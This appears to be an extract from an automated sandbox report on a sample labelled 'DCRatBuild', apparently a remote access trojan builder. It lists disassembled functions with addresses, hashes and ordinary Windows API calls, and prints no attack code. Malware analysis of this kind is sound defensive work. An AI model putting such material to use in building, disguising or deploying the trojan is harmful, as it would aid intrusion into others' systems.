Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 59db38eb2ce6bb570b45acf4a4568627dd1571bf7ed7b1d3fc8246e825e853be
Instruction ID: 629ac1e5e7bec938818f245d1ade3d7a3f91b63e400f0e6e3908b85ecdea8a3d
Opcode Fuzzy Hash: 59db38eb2ce6bb570b45acf4a4568627dd1571bf7ed7b1d3fc8246e825e853be
Instruction Fuzzy Hash: FF512671D002959EDB20DF77C881ABBBBE5EF41320F18406ED0968B293D7399945FB91

Function 00FC1385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC1385

Part of subcall function 00FC6057: __EH_prolog.LIBCMT ref: 00FC605C

Part of subcall function 00FCC827: __EH_prolog.LIBCMT ref: 00FCC82C
Part of subcall function 00FCC827: new.LIBCMT ref: 00FCC86F
Part of subcall function 00FCC827: new.LIBCMT ref: 00FCC893

new.LIBCMT ref: 00FC13FE

Part of subcall function 00FCB07D: __EH_prolog.LIBCMT ref: 00FCB082

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8c9c76a655f6cbc1113f90db961db4a70f27b3e19d02ff05a497db686ed3b719
Instruction ID: cea54b33c0afb4a81030255bfeb0c98d4883657033694cf9b28a460ce7c33767
Opcode Fuzzy Hash: 8c9c76a655f6cbc1113f90db961db4a70f27b3e19d02ff05a497db686ed3b719
Instruction Fuzzy Hash: 86416AB0805B419EE724DF798886AE7FBE5FF19300F54492ED1EE83282CB362554CB11

Function 00FC1380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC1385

Part of subcall function 00FC6057: __EH_prolog.LIBCMT ref: 00FC605C

Part of subcall function 00FCC827: __EH_prolog.LIBCMT ref: 00FCC82C
Part of subcall function 00FCC827: new.LIBCMT ref: 00FCC86F
Part of subcall function 00FCC827: new.LIBCMT ref: 00FCC893

new.LIBCMT ref: 00FC13FE

Part of subcall function 00FCB07D: __EH_prolog.LIBCMT ref: 00FCB082

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a693f50c6af466ef300782cd15a90180ce94e710094481aa403d14ed641caca9
Instruction ID: c41bec476c231a544083176ed8d2e009c1c2e83cb00955dc0fdab6e3434c146c
Opcode Fuzzy Hash: a693f50c6af466ef300782cd15a90180ce94e710094481aa403d14ed641caca9
Instruction Fuzzy Hash: C34159B0805B419EE724DF798886AE7FBE5FF19300F544A6ED1EE83282CB362554CB11

Function 00FEB188 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00FE8FA5: GetLastError.KERNEL32(?,01000EE8,00FE3E14,01000EE8,?,?,00FE3713,00000050,?,01000EE8,00000200), ref: 00FE8FA9
Part of subcall function 00FE8FA5: _free.LIBCMT ref: 00FE8FDC
Part of subcall function 00FE8FA5: SetLastError.KERNEL32(00000000,?,01000EE8,00000200), ref: 00FE901D
Part of subcall function 00FE8FA5: _abort.LIBCMT ref: 00FE9023

Part of subcall function 00FEB2AE: _abort.LIBCMT ref: 00FEB2E0
Part of subcall function 00FEB2AE: _free.LIBCMT ref: 00FEB314

Part of subcall function 00FEAF1B: GetOEMCP.KERNEL32(00000000,?,?,00FEB1A5,?), ref: 00FEAF46

_free.LIBCMT ref: 00FEB200
_free.LIBCMT ref: 00FEB236

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 64c0798f6b9083c17d4d58494488e39034503e56a1768aceae3211d0b4ca2d8c
Instruction ID: 70aff697d916975058aedf83193305943c6ff477cfdd05d170e3e320d654c5bb
Opcode Fuzzy Hash: 64c0798f6b9083c17d4d58494488e39034503e56a1768aceae3211d0b4ca2d8c
Instruction Fuzzy Hash: 21313831D002C8AFDB11EFAAC841B6E77F5EF40330F2400A9E5089B2A1DB795D41EB40

Function 00FC971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00FC9EDC,?,?,00FC7867), ref: 00FC97A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00FC9EDC,?,?,00FC7867), ref: 00FC97DB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 39c1c6952871a18e972ef7c5fa31d1ccb9fdb66329c4d9acb3725aead34bac60
Instruction ID: c7e1a9bb5a3fff387de38282e8299f5936e325d4d65b5225d1d7353f70117853
Opcode Fuzzy Hash: 39c1c6952871a18e972ef7c5fa31d1ccb9fdb66329c4d9acb3725aead34bac60
Instruction Fuzzy Hash: 6C21287140574AAFD7308F14CD8AFA77BE8EF49764F00491DF1D582191C3B4AC48AB20

Function 00FC9D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00FC7547,?,?,?,?), ref: 00FC9D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00FC9E2C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: b8a8229c546390d5084afd2ab20cae099ddc971d445d0374f6303cfc2648c610
Instruction ID: 2995f39e37a269f1fb411f259137e3f84a624837a1da6e2b283bde11eab6a852
Opcode Fuzzy Hash: b8a8229c546390d5084afd2ab20cae099ddc971d445d0374f6303cfc2648c610
Instruction Fuzzy Hash: 5621F63154C247ABC714DE24C996FABBBE4AF91714F08085DB4C2D3241C769DA0CEBA1

Function 00FEA458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00FF3958), ref: 00FEA4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00FEA4C5

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 0e01852efbe5ec21a94e4c4dbe1f79673ffb2376ed5000dcf5d5053057adbaaa
Instruction ID: 6431e2ff268e73bbcf48b912a6105f73a552701d9973129a7bb4e5623180030e
Opcode Fuzzy Hash: 0e01852efbe5ec21a94e4c4dbe1f79673ffb2376ed5000dcf5d5053057adbaaa
Instruction Fuzzy Hash: 1F112333A101689B9B32DE2AEC4496A73959F803307164220FD15EF2A4EA70FC01E7D2

Function 00FC9B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00FC9B35,?,?,00000000,?,?,00FC8D9C,?), ref: 00FC9BC0
GetLastError.KERNEL32 ref: 00FC9BCD

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 0a9bb48b68d0206c0951de5e8c7da1e42760131f821aecd20d1ffb8f4871a84f
Instruction ID: 942d585bd83c07b0ba8c4b27e1065bc9b27b3a46a4d8256be35a8a00459edbb2
Opcode Fuzzy Hash: 0a9bb48b68d0206c0951de5e8c7da1e42760131f821aecd20d1ffb8f4871a84f
Instruction Fuzzy Hash: D901E932208216ABC70CCF15AE8AF7A7359AFC0731710452DE81683290CAB0DE05B620

Function 00FC9E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00FC9E76
GetLastError.KERNEL32 ref: 00FC9E82

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 07f6e213e52eb40ba89daabac0760358abaa8b120fff23f7943963501f598c31
Instruction ID: a579ffe86c573038594f24e82bbbff1a19d9d58b88aee691c937248c7bb1645e
Opcode Fuzzy Hash: 07f6e213e52eb40ba89daabac0760358abaa8b120fff23f7943963501f598c31
Instruction Fuzzy Hash: 3801F5717082055BEB30DF29CD4AF6BB7D99B94325F10493EB142C3680DEB5DC48E620

Function 00FE8606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FE8627

Part of subcall function 00FE8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00FEC13D,00000000,?,00FE67E2,?,00000008,?,00FE89AD,?,?,?), ref: 00FE854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,01000F50,00FCCE57,?,?,?,?,?,?), ref: 00FE8663

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 828d6f89e6bc2172268a2f5379c4dcbdba8f33a958a0611232b68b7556aba97c
Instruction ID: f796fc8a2612b4fc4203f6cf8d7b1a0652eb647f8310a012d84f8306c39b4faf
Opcode Fuzzy Hash: 828d6f89e6bc2172268a2f5379c4dcbdba8f33a958a0611232b68b7556aba97c
Instruction Fuzzy Hash: 77F04F329016D56ADB213A27AC04B6F3B699FD2BF0B244116F85C96191DE248C03B5A5

Function 00FE79B7 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00FEB610: GetEnvironmentStringsW.KERNEL32 ref: 00FEB619
Part of subcall function 00FEB610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FEB63C
Part of subcall function 00FEB610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00FEB662
Part of subcall function 00FEB610: _free.LIBCMT ref: 00FEB675
Part of subcall function 00FEB610: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00FEB684

_free.LIBCMT ref: 00FE79FD
_free.LIBCMT ref: 00FE7A04

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 400815659-0
Opcode ID: ebb604b80226246139e93b31050fffcf7901224247e74257110e450eaafa8ff2
Instruction ID: c6b2c0adcd8d9a4127341f48a13801034161e7e0c0c9efa5c5de7442ab56bc25
Opcode Fuzzy Hash: ebb604b80226246139e93b31050fffcf7901224247e74257110e450eaafa8ff2
Instruction Fuzzy Hash: 15E022A3A0DAD301D772B63B6C0266F2205DF82330B200B6AF528DB0C3CE2C89073196

Function 00FD0908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00FD0915
GetProcessAffinityMask.KERNEL32(00000000), ref: 00FD091C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 12682dc419be4c00b777257b7a38ee93835014938867cdae2608056762a7df9d
Instruction ID: e698ba7d860d38a94a45542fef7bd459d59511c0b4f43dc3abf698547238dc4d
Opcode Fuzzy Hash: 12682dc419be4c00b777257b7a38ee93835014938867cdae2608056762a7df9d
Instruction Fuzzy Hash: E5E09272E10109BB6F09DAB49C14ABB739EEF04224B28417BA807D3301FD30DE01E6A6

Function 00FCA444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00FCA27A,?,?,?,00FCA113,?,00000001,00000000,?,?), ref: 00FCA458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00FCA27A,?,?,?,00FCA113,?,00000001,00000000,?,?), ref: 00FCA489

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fbe18389f0540e091cca8b1b18244c8f5695ac35fbb84cb5f16a7376d094c52a
Instruction ID: c8702b4a6525b36248c1af6af2bd2aa771c7d8678e32303734124c4a4d41817f
Opcode Fuzzy Hash: fbe18389f0540e091cca8b1b18244c8f5695ac35fbb84cb5f16a7376d094c52a
Instruction Fuzzy Hash: D9F0A03124020E7BDF01AF60DC06FE9376CBF04789F088056BC8886161DB769AA8FA50

Function 00FDD573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FDD5A1
SetDlgItemTextW.USER32(00000065,?), ref: 00FDD5B8

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 8cd6e58cb0226bea0331c5c589ead369f54ecfa5d386a30424454c7a70f13c09
Instruction ID: bbac96b9494d5a51823c18721e7b1ff0508c12537f3e04ac625a3944f03f4941
Opcode Fuzzy Hash: 8cd6e58cb0226bea0331c5c589ead369f54ecfa5d386a30424454c7a70f13c09
Instruction Fuzzy Hash: 69F0EC719403487BEB21BBB09C07FAD375DA704745F08055BB60157192D97A6A50A761

Function 00FCA12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,00FC984C,?,?,00FC9688,?,?,?,?,00FF1FA1,000000FF), ref: 00FCA13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00FC984C,?,?,00FC9688,?,?,?,?,00FF1FA1,000000FF), ref: 00FCA16C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 7e7224cc08e9f259074751f4f57ad9c7636123f5a58a5b031d90b6597862ba13
Instruction ID: 5269d1251f592c711e9446140396a5335725b43fdccf0d814fc050b67edcdce4
Opcode Fuzzy Hash: 7e7224cc08e9f259074751f4f57ad9c7636123f5a58a5b031d90b6597862ba13
Instruction Fuzzy Hash: 93E06D3964020D6AEB11AA60DC42FE97B5CAF08395F48406AB888C6161DB62DD94FE90

Function 00FDA39D Relevance: 3.0, APIs: 2, Instructions: 27comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00FF1FA1,000000FF), ref: 00FDA3D1
OleUninitialize.OLE32(?,?,?,?,00FF1FA1,000000FF), ref: 00FDA3D6

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 770142f54880bda523d3e367fc53bac5d38b336cff7399372818ebab8492da9f
Instruction ID: 5493662d0d16b3ac5df75dd05f7a52f165e52feb046e4d760be3220430f3d5b1
Opcode Fuzzy Hash: 770142f54880bda523d3e367fc53bac5d38b336cff7399372818ebab8492da9f
Instruction Fuzzy Hash: 1AF03032918654DFC7119B4CDC05B15FBADFB49B20F14436AF41983750CB796800CB91

Function 00FCA194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00FCA189,?,00FC76B2,?,?,?,?), ref: 00FCA1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00FCA189,?,00FC76B2,?,?,?,?), ref: 00FCA1D1

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: dcbe9cbe70683f434f679c49984ac458d69db6c4ff49d9e81cbd6ec178013d28
Instruction ID: 52fc5ecee2d7ffe83276841e8dfa16937bfd4d8d8374f8c2a958b9ea8905f69c
Opcode Fuzzy Hash: dcbe9cbe70683f434f679c49984ac458d69db6c4ff49d9e81cbd6ec178013d28
Instruction Fuzzy Hash: 30E09B3690011C67CB11AB64DC06FE5775CAB087F5F0441A6FD54D3290DB719D44BED0
